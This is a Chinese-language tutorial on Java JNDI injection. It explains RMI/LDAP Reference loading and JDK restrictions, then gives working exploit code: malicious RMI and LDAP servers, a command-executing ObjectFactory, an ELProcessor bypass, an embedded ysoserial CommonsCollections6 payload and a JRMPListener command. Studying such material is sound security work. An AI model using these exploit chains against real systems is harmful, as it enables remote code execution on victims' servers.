Java JNDI分析与利用

JNDI(Java Naming and Directory Interface)本质是可以操作目录服务、域名服务的一组接口。JNDI相当于在LDAP、RMI等服务外面再套了一层API,方便统一调用。调用JNDI的API可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA。

#基础概念

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作。

Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

在JDK里面提供了5个包,提供给JNDI的功能实现。

1
2
3
4
5
javax.naming //主要用于命名操作,包含了命名服务的类和接口,定义了Context接口和InitialContext类
javax.naming.directory //主要用于目录操作,它定义了DirContext接口和InitialDirContext类
javax.naming.event //在命名目录服务器中请求事件通知
javax.naming.ldap //提供LDAP支持
javax.naming.spi //允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

#JNDI 目录服务

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称) 指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 创建环境变量对象
Hashtable env = new Hashtable();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");

// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

以RMI远程调用为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package jndi;

import rmiserver.user;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class run {
    public static void main(String[] args) {
        // 创建环境变量对象
        Hashtable env = new Hashtable();

        // 设置JNDI初始化工厂类名
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        // 设置JNDI提供服务的URL地址
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        try {
            // 创建JNDI目录服务对象
            DirContext context = new InitialDirContext(env);

            // 通过命名服务查找远程RMI绑定的user对象
            user testInterface = (user) context.lookup("hello");

            // 调用远程的user接口的hello方法
            String result = testInterface.hello("das");
            System.out.println(result);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

JNDI协议转换: 如果JNDI在lookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。上面的代码可以简写为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package jndi;

import rmiserver.user;

import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;

public class run {
    public static void main(String[] args) {
        try {
            // 创建JNDI目录服务对象
            DirContext context = new InitialDirContext();

            // 通过命名服务查找远程RMI绑定的user对象
            user testInterface = (user) context.lookup("rmi://127.0.0.1:1099/hello");

            // 调用远程的user接口的hello方法
            String result = testInterface.hello("das");

            System.out.println(result);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

#JNDI Reference

1
2
3
4
//正常的RMI调用
Context context = new  InitialContext();
context.lookup("rmi://10.0.0.2:1099/evil");
//此时执行evil所绑定的类,依然是在10.0.0.2上执行,无法影响到客户端,因此要引入一个新的概念Reference。

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例,JNDI调用远程Reference的时候会先尝试从本地的CLASSPATH中寻找该类,如果没有才用URLClassLoader远程进行加载。之后会执行该类的静态代码块、代码块、无参构造函数和getObjectInstance方法。

RMI/LDAP远程对象引用安全限制

  1. RMI

    在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象),为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象),一样无法调用远程的引用对象。

    • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始,java.rmi.server.useCodebaseOnly默认值改为了true。
    • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。

    本地测试远程对象引用可以使用如下方式允许加载远程的引用对象

    1
    2
    
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    
  2. LDAP

    LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly影响)

#JNDI 注入

调用了JNDI服务且lookup的参数值可控,还需JDK版本、服务器网络环境满足漏洞利用条件才可利用。

#JNDI + RMI

  • 服务端代码(利用的是远程引用Reference,不是反序列化)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    package jndi;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.Reference;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class server {
        public static void main(String[] args) {
            try {
                String url = "http://127.0.0.1:8080/";
                Registry registry = LocateRegistry.createRegistry(1099);
                Reference reference = new Reference("test", "test", url);
                ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
                registry.bind("obj", referenceWrapper);
                System.out.println("running");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
  • 执行命令的类

    JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory) 动态加载对象实现,对象工厂必须实现javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    import java.io.IOException;
    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.util.Hashtable;
    
    public class test implements ObjectFactory {
     public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
           //在创建对象过程中插入恶意的攻击代码
            return Runtime.getRuntime().exec("calc");
        }
    }
    
  • 客户端发起请求

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    package jndi;
    
    import javax.naming.InitialContext;
    
    public class client {
        public static void main(String[] args) {
            try{
                String url = "rmi://localhost:1099/obj";
                InitialContext initialContext = new InitialContext();
                initialContext.lookup(url);
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    

#JNDI + LDAP

LDAP和RMI道理差不多。LDAP服务端程序会在收到LDAP请求后返回一个含有恶意攻击代码的对象工厂的远程class地址。客户端会加载构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

  • 服务端实现

    1
    2
    3
    4
    5
    
    <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>3.1.0</version>
    </dependency>
    
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    
    package jndi;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    
    public class ldapserver {
    
        // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
        public static final String BIND_HOST = "127.0.0.1";
        // 设置LDAP服务端口
        public static final int SERVER_PORT = 3890;
    
        public static void main(String[] args) {
            try {
                // 创建LDAP配置对象
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=org");
                // 设置LDAP监听配置信息
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
                        ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault())
                );
                // 添加自定义的LDAP操作拦截器
                config.addInMemoryOperationInterceptor(new OperationInterceptor());
    
                // 创建LDAP服务对象
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                // 启动服务
                ds.startListening();
                System.out.println("LDAP服务启动成功");
            }catch (Exception e){
                e.printStackTrace();
            }
    
        }
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                String base  = result.getRequest().getBaseDN();
                Entry  entry = new Entry(base);
    
                try {
                    // 设置对象的工厂类名
                    String className = "test"; //修改
                    entry.addAttribute("javaClassName", className);
                    entry.addAttribute("javaFactory", className);
    
                    // 设置远程的恶意引用对象的jar地址
                    entry.addAttribute("javaCodeBase", "<http://127.0.0.1:8080/>");
    
                    // 设置LDAP objectClass
                    entry.addAttribute("objectClass", "javaNamingReference");
    
                    result.sendSearchEntry(entry);
                    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                } catch (Exception e1) {
                    e1.printStackTrace();
                }
            }
    
        }
    }
    
  • 客户端实现

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    package jndi;
    
    import javax.naming.InitialContext;
    
    public class client {
        public static void main(String[] args) {
            /*
            System.setProperty("java.rmi.server.useCodebaseOnly", "false");
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");*/
            try{
                String url = "ldap://localhost:3890/test";
                InitialContext initialContext = new InitialContext();
                Object obj =initialContext.lookup(url);
                System.out.println(obj);
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    

执行命令的类不变,还是RMI部分介绍的test.class

com.sun.jndi.ldap.object.trustURLCodebase属性的值被调整为false,LDAP就没法进行利用。

#绕过JDK 8u191+高版本限制

对于JDK6u211、7u201、8u191、11.0.1或者更高版本的JDK来说,默认环境下之前介绍的利用方式都已经失效。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都依赖受害者本地CLASSPATH中的环境,需要利用受害者本地的Gadget进行攻击。

#利用ELProcessor

可以利用ELProcessor作为Reference Factory,但由于依赖javax.el.ELProcessor这个类,所以需要目标环境 ≥ tomcat8。(可被利用的Spring Boot Web Starter版本应在1.2.x及以上,因为1.1.x及1.0.x内置的是Tomcat7)

测试了jdk 8u301、jdk11、jdk15可以正常利用。

Server端代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
public class server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "a=eval"));
            resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")"));
						//触发点在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

相当于调用了: new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")");

#利用LDAP反序列化数据

LDAP Server除了使用JNDI Reference进行利用之外,还可以直接返回一个对象的序列化数据。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。

  • ldap Server (这里利用的CommonsCollections 6)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    
    package rmiserver;
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import com.unboundid.util.Base64;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.text.ParseException;
    
    
    public class ldap_server {
    
        private static final String LDAP_BASE = "dc=example,dc=com";
        public static void main (String[] args) {
            int port = 1389;
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor());
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port);
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
            public OperationInterceptor () {
            }
    
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
    
            }
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                e.addAttribute("javaClassName", "Exploit");
                try {
                    // java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
                    e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
                } catch (ParseException e1) {
                    e1.printStackTrace();
                }
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
    
        }
    }
    
  • 客户端

    1
    2
    3
    4
    5
    6
    7
    
    try{
        String url = "ldap://localhost:1389/Exploit";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }catch (Exception e){
        e.printStackTrace();
    }
    

#利用RMI反序列化数据

开启JRMP Server

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections6 'open /System/Applications/Calculator.app'

客户端连接

1
2
3
4
5
6
7
try{
    String url = "rmi://localhost:1088/Object";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(url);
}catch (Exception e){
    e.printStackTrace();
}

#参考

  1. JNDI_「Java Web安全」 - 网安
  2. Java安全之JNDI注入
  3. JNDI注入高版本jdk绕过学习
  4. 《JDK 8u191之后的JNDI注入(RMI)》_公众号shadow sock7-CSDN博客
加载评论